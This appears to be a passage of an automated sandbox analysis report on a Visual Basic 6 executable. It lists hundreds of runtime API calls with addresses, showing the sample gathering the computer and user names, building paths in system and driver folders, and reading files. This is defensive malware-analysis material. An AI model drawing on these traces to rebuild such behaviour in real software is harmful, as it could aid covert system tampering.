API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkNameOverflowUnicodeUser
String ID:
API String ID: 281739284-0
Opcode ID: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction ID: 1a108948efa492097ea428c0624f2b892237f430c038d1a03950295591b49aee
Opcode Fuzzy Hash: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction Fuzzy Hash: 5D31CA75900249EFDB04EFA4DE4DBDEBBB8EB08715F108269E502B62A0DB745944CB64

Function 0040A840 Relevance: 809.7, APIs: 448, Strings: 13, Instructions: 2988COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040A85E
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,Function_000032B6), ref: 0040A8B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040A91C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000068), ref: 0040A97C
__vbaFreeObj.MSVBVM60 ref: 0040A9A5
__vbaEnd.MSVBVM60 ref: 0040A9BD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040A9DD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AA43
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,0000007C), ref: 0040AA9E
__vbaFreeObj.MSVBVM60 ref: 0040AAB9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406300,000001BC), ref: 0040AAFD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040AB2F
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 0040AB95
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040ABF2
#618.MSVBVM60(?,00000001), ref: 0040AC10
__vbaStrMove.MSVBVM60 ref: 0040AC1B
__vbaStrCmp.MSVBVM60(00406544,00000000), ref: 0040AC27
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AC45
__vbaFreeObj.MSVBVM60(?,?,Function_000032B6), ref: 0040AC51
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040AC80
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040ACE6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AD43
__vbaStrMove.MSVBVM60 ref: 0040AD74
__vbaFreeObj.MSVBVM60 ref: 0040AD7D
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040ADA2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AE08
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AE65
__vbaStrCat.MSVBVM60(00406544,?), ref: 0040AE86
__vbaStrMove.MSVBVM60 ref: 0040AE91
__vbaFreeStr.MSVBVM60 ref: 0040AE9A
__vbaFreeObj.MSVBVM60 ref: 0040AEA3
__vbaStrCopy.MSVBVM60 ref: 0040AEB8
__vbaStrMove.MSVBVM60(?), ref: 0040AECC
__vbaStrCopy.MSVBVM60 ref: 0040AED9
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AEE9
__vbaStrMove.MSVBVM60(00000025,?,?,?,?,?,Function_000032B6), ref: 0040AF05
__vbaStrCopy.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF12
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF1B
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,Function_000032B6), ref: 0040AF3B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AFA1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000058), ref: 0040AFFE
__vbaStrCat.MSVBVM60(?,?), ref: 0040B01E
__vbaStrMove.MSVBVM60 ref: 0040B029
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B035
__vbaStrMove.MSVBVM60 ref: 0040B040
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B04E
__vbaStrMove.MSVBVM60 ref: 0040B059
#517.MSVBVM60(00000000), ref: 0040B060
__vbaStrMove.MSVBVM60 ref: 0040B06B
__vbaStrCopy.MSVBVM60 ref: 0040B078
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B094
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0A0

Part of subcall function 00429CA0: __vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
Part of subcall function 00429CA0: #525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
Part of subcall function 00429CA0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
Part of subcall function 00429CA0: SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
Part of subcall function 00429CA0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
Part of subcall function 00429CA0: #537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
Part of subcall function 00429CA0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
Part of subcall function 00429CA0: #616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
Part of subcall function 00429CA0: __vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
Part of subcall function 00429CA0: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8

__vbaStrMove.MSVBVM60(00000024,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0B9
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0C6
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0CF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0F8
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B105
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B115
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B131
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B13C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B14A
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B155
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B161
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B16C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B179
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B184
#517.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B18B
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B196
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B1A3
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B1BF
__vbaStrMove.MSVBVM60(?), ref: 0040B1EB
__vbaStrCopy.MSVBVM60 ref: 0040B1F8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B208
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B223
__vbaStrMove.MSVBVM60 ref: 0040B22E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B23C
__vbaStrMove.MSVBVM60 ref: 0040B247
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B253
__vbaStrMove.MSVBVM60 ref: 0040B25E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B26C
__vbaStrMove.MSVBVM60 ref: 0040B277
#517.MSVBVM60(00000000), ref: 0040B27E
__vbaStrMove.MSVBVM60 ref: 0040B289
__vbaStrCopy.MSVBVM60 ref: 0040B296
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B2B2
__vbaStrCopy.MSVBVM60 ref: 0040B2CA
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B2DC
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B2FC
__vbaStrCat.MSVBVM60(00000000), ref: 0040B303
__vbaStrMove.MSVBVM60 ref: 0040B30E
__vbaStrCopy.MSVBVM60 ref: 0040B31B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040B333
__vbaStrCopy.MSVBVM60 ref: 0040B34B
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B35D
__vbaStrMove.MSVBVM60 ref: 0040B368
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B37D
__vbaStrCat.MSVBVM60(00000000), ref: 0040B384
__vbaStrMove.MSVBVM60 ref: 0040B38F
#517.MSVBVM60(00000000), ref: 0040B396
__vbaStrMove.MSVBVM60 ref: 0040B3A1
__vbaStrCopy.MSVBVM60 ref: 0040B3AE
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B3CA
__vbaStrCopy.MSVBVM60 ref: 0040B3E2
__vbaStrMove.MSVBVM60(?), ref: 0040B3F6
__vbaStrCopy.MSVBVM60 ref: 0040B403
__vbaOnError.MSVBVM60(000000FF,00000000), ref: 0040B43C
#669.MSVBVM60 ref: 0040B449
__vbaStrMove.MSVBVM60 ref: 0040B454
__vbaStrCopy.MSVBVM60 ref: 0040B461
__vbaFreeStr.MSVBVM60 ref: 0040B46A
__vbaStrCopy.MSVBVM60 ref: 0040B483
__vbaStrCmp.MSVBVM60(00406F10,?), ref: 0040B49C
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B4BD
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B4E9
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B502
__vbaStrMove.MSVBVM60 ref: 0040B50D
__vbaEnd.MSVBVM60(0042C0D4), ref: 0040B54C
__vbaStrMove.MSVBVM60(?), ref: 0040BA5E
__vbaStrCopy.MSVBVM60 ref: 0040BA6B
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA7B
__vbaStrCopy.MSVBVM60 ref: 0040BA93
__vbaStrMove.MSVBVM60(?), ref: 0040BAA7
__vbaStrCopy.MSVBVM60 ref: 0040BAB4
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BAC4
__vbaStrCopy.MSVBVM60 ref: 0040BADC

Part of subcall function 00429CA0: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5

__vbaStrMove.MSVBVM60(0000001C), ref: 0040BAEE
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BB03
__vbaStrCat.MSVBVM60(00000000), ref: 0040BB0A
__vbaStrMove.MSVBVM60 ref: 0040BB15
__vbaStrCopy.MSVBVM60 ref: 0040BB22
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BB3A
__vbaStrMove.MSVBVM60(00000026), ref: 0040BB56
__vbaStrCopy.MSVBVM60 ref: 0040BB63
__vbaFreeStr.MSVBVM60 ref: 0040BB6C
__vbaStrCopy.MSVBVM60 ref: 0040BB81
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BB93
__vbaStrMove.MSVBVM60 ref: 0040BB9E
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BBB3
__vbaStrCat.MSVBVM60(00000000), ref: 0040BBBA
__vbaStrMove.MSVBVM60 ref: 0040BBC5
#517.MSVBVM60(00000000), ref: 0040BBCC
__vbaStrMove.MSVBVM60 ref: 0040BBD7
__vbaStrCopy.MSVBVM60 ref: 0040BBE4
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040BC00
__vbaStrCopy.MSVBVM60 ref: 0040BC18
__vbaStrMove.MSVBVM60(0000001A), ref: 0040BC2A
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BC3F
__vbaStrCat.MSVBVM60(00000000), ref: 0040BC46
__vbaStrMove.MSVBVM60 ref: 0040BC51
__vbaStrCopy.MSVBVM60 ref: 0040BC5E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BC76

Part of subcall function 0041E880: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
Part of subcall function 0041E880: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
Part of subcall function 0041E880: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
Part of subcall function 0041E880: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
Part of subcall function 0041E880: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
Part of subcall function 0041E880: GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
Part of subcall function 0041E880: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
Part of subcall function 0041E880: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
Part of subcall function 0041E880: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
Part of subcall function 0041E880: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE

__vbaStrMove.MSVBVM60 ref: 0040BC90
__vbaStrCopy.MSVBVM60 ref: 0040BC9D
__vbaFreeStr.MSVBVM60 ref: 0040BCA6

Part of subcall function 0041E9D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
Part of subcall function 0041E9D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
Part of subcall function 0041E9D0: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
Part of subcall function 0041E9D0: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
Part of subcall function 0041E9D0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
Part of subcall function 0041E9D0: GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
Part of subcall function 0041E9D0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
Part of subcall function 0041E9D0: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
Part of subcall function 0041E9D0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
Part of subcall function 0041E9D0: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE

__vbaStrMove.MSVBVM60 ref: 0040BCBD
__vbaStrCopy.MSVBVM60 ref: 0040BCCA
__vbaFreeStr.MSVBVM60 ref: 0040BCD3
__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040BCEE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040BD61
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040BD7A
#600.MSVBVM60(00000008,00000000), ref: 0040BD90
__vbaFreeVar.MSVBVM60 ref: 0040BD9F
__vbaSetSystemError.MSVBVM60 ref: 0040BDC1
__vbaStrCopy.MSVBVM60 ref: 0040BDD6
__vbaStrMove.MSVBVM60(?), ref: 0040BDEA
__vbaStrCopy.MSVBVM60 ref: 0040BDF7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE07
__vbaStrCopy.MSVBVM60 ref: 0040BE1F
__vbaStrMove.MSVBVM60(?), ref: 0040BE33
__vbaStrCopy.MSVBVM60 ref: 0040BE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE50
__vbaStrCopy.MSVBVM60 ref: 0040BE68
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BE7A
__vbaStrMove.MSVBVM60 ref: 0040BE85
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BE9A
__vbaStrCat.MSVBVM60(00000000), ref: 0040BEA1
__vbaStrMove.MSVBVM60 ref: 0040BEAC
__vbaStrCopy.MSVBVM60 ref: 0040BEB9
__vbaStrCopy.MSVBVM60 ref: 0040BEE9
__vbaStrCat.MSVBVM60(system32\drivers\,00000000), ref: 0040BEFB
__vbaStrMove.MSVBVM60 ref: 0040BF06
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BF1B
__vbaStrCat.MSVBVM60(00000000), ref: 0040BF22
__vbaStrMove.MSVBVM60 ref: 0040BF2D
__vbaStrCopy.MSVBVM60 ref: 0040BF3A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BF52

Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(6CF8D8B1,6CF7A323,00000000), ref: 00415F0F
Part of subcall function 00415EC0: __vbaNew2.MSVBVM60(00406520,0042CC34,6CF8D8B1,6CF7A323,00000000), ref: 00415F27
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
Part of subcall function 00415EC0: __vbaFreeObj.MSVBVM60 ref: 00415F9E

Part of subcall function 00416000: __vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
Part of subcall function 00416000: __vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
Part of subcall function 00416000: __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040BF8E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040BFD4
__vbaFreeObj.MSVBVM60 ref: 0040BFEF
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C008
__vbaStrMove.MSVBVM60 ref: 0040C013
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C021
__vbaStrMove.MSVBVM60 ref: 0040C02C
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C038
__vbaStrMove.MSVBVM60 ref: 0040C043
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C050
__vbaStrMove.MSVBVM60 ref: 0040C05B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C088
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C0B2
__vbaStrMove.MSVBVM60 ref: 0040C0BD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0CB
__vbaStrMove.MSVBVM60 ref: 0040C0D6
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C0E2
__vbaStrMove.MSVBVM60 ref: 0040C0ED
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0FB
#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
__vbaStrMove.MSVBVM60(?), ref: 0040C2F3
__vbaStrCopy.MSVBVM60 ref: 0040C300
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C310
__vbaStrMove.MSVBVM60(0000001C), ref: 0040C32C
__vbaStrCopy.MSVBVM60 ref: 0040C339
__vbaFreeStr.MSVBVM60 ref: 0040C342
__vbaStrCopy.MSVBVM60 ref: 0040C357
__vbaStrMove.MSVBVM60(?), ref: 0040C36B
__vbaStrCopy.MSVBVM60 ref: 0040C378
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C388
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C3A5
__vbaStrMove.MSVBVM60 ref: 0040C3B0
__vbaStrCopy.MSVBVM60 ref: 0040C3BD
__vbaFreeStr.MSVBVM60 ref: 0040C3C6
__vbaStrCopy.MSVBVM60 ref: 0040C3DB
__vbaStrMove.MSVBVM60(?), ref: 0040C3EF
__vbaStrCopy.MSVBVM60 ref: 0040C3FC
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C40C
__vbaLenBstr.MSVBVM60(00000000), ref: 0040C423
#616.MSVBVM60(00000000,-00000001), ref: 0040C439
__vbaStrMove.MSVBVM60 ref: 0040C444
__vbaStrCopy.MSVBVM60 ref: 0040C451
__vbaFreeStr.MSVBVM60 ref: 0040C45A
#709.MSVBVM60(00000000,00406544,000000FF,00000000), ref: 0040C477
#631.MSVBVM60(00000000,?,0000000A), ref: 0040C4AC
__vbaStrMove.MSVBVM60 ref: 0040C4B7
__vbaStrCopy.MSVBVM60 ref: 0040C4C4
__vbaFreeStr.MSVBVM60 ref: 0040C4CD
__vbaFreeVar.MSVBVM60 ref: 0040C4D6
#611.MSVBVM60 ref: 0040C4E3
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0040C507
#705.MSVBVM60(?,00000004), ref: 0040C513
__vbaStrMove.MSVBVM60 ref: 0040C51E
__vbaStrMove.MSVBVM60(at ), ref: 0040C542
__vbaStrCat.MSVBVM60(00000000), ref: 0040C549
__vbaStrMove.MSVBVM60 ref: 0040C554
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C561
__vbaStrMove.MSVBVM60 ref: 0040C56C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C57A
#600.MSVBVM60(00000008,00000000), ref: 0040C590
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,00000000), ref: 0040C5AE
__vbaFreeVarList.MSVBVM60(00000003,00000008,?,00000008), ref: 0040C5C5
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C5E9
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00407978,0000005C), ref: 0040C62F
__vbaFreeObj.MSVBVM60 ref: 0040C64A
__vbaStrCopy.MSVBVM60 ref: 0040C664
__vbaStrMove.MSVBVM60(?), ref: 0040C678
__vbaStrCopy.MSVBVM60 ref: 0040C686
__vbaStrMove.MSVBVM60(?), ref: 0040C69A
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C6CE
__vbaStrMove.MSVBVM60(00000000), ref: 0040C6DE
#690.MSVBVM60(00000000,00000000), ref: 0040C6EC
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C70C
#537.MSVBVM60(000000A0,00000000), ref: 0040C727
__vbaStrMove.MSVBVM60 ref: 0040C732
__vbaStrCat.MSVBVM60(00000000), ref: 0040C739
__vbaStrMove.MSVBVM60 ref: 0040C744
__vbaStrCat.MSVBVM60(00406BFC,00000000,00000000), ref: 0040C757
__vbaStrMove.MSVBVM60 ref: 0040C762
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C770
__vbaStrMove.MSVBVM60 ref: 0040C77B

Part of subcall function 004218D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
Part of subcall function 004218D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
Part of subcall function 004218D0: #648.MSVBVM60(0000000A), ref: 00421961
Part of subcall function 004218D0: __vbaFreeVar.MSVBVM60 ref: 00421970
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60(?), ref: 00421984
Part of subcall function 004218D0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 004219A2
Part of subcall function 004218D0: #570.MSVBVM60(00000000), ref: 004219A9
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
Part of subcall function 004218D0: #525.MSVBVM60(00000000), ref: 004219F4
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60 ref: 004219FF
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A0F
Part of subcall function 004218D0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A2A
Part of subcall function 004218D0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60 ref: 00421A4C
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60(?), ref: 00421A60

__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000,00000000), ref: 0040C7A6
__vbaEnd.MSVBVM60 ref: 0040C7C1
#535.MSVBVM60(00000000), ref: 0040C7F1
__vbaStrCat.MSVBVM60(00000000,00407CCC), ref: 0040C81D
__vbaStrMove.MSVBVM60 ref: 0040C828
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C834
__vbaStrMove.MSVBVM60 ref: 0040C83F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C84D
__vbaStrMove.MSVBVM60 ref: 0040C858
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C864
__vbaStrMove.MSVBVM60 ref: 0040C86F
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C88D
#598.MSVBVM60(0042C0D4), ref: 0040C8AE
#580.MSVBVM60(00000000,00000027), ref: 0040C908
__vbaStrCopy.MSVBVM60(00000000), ref: 0040C91D
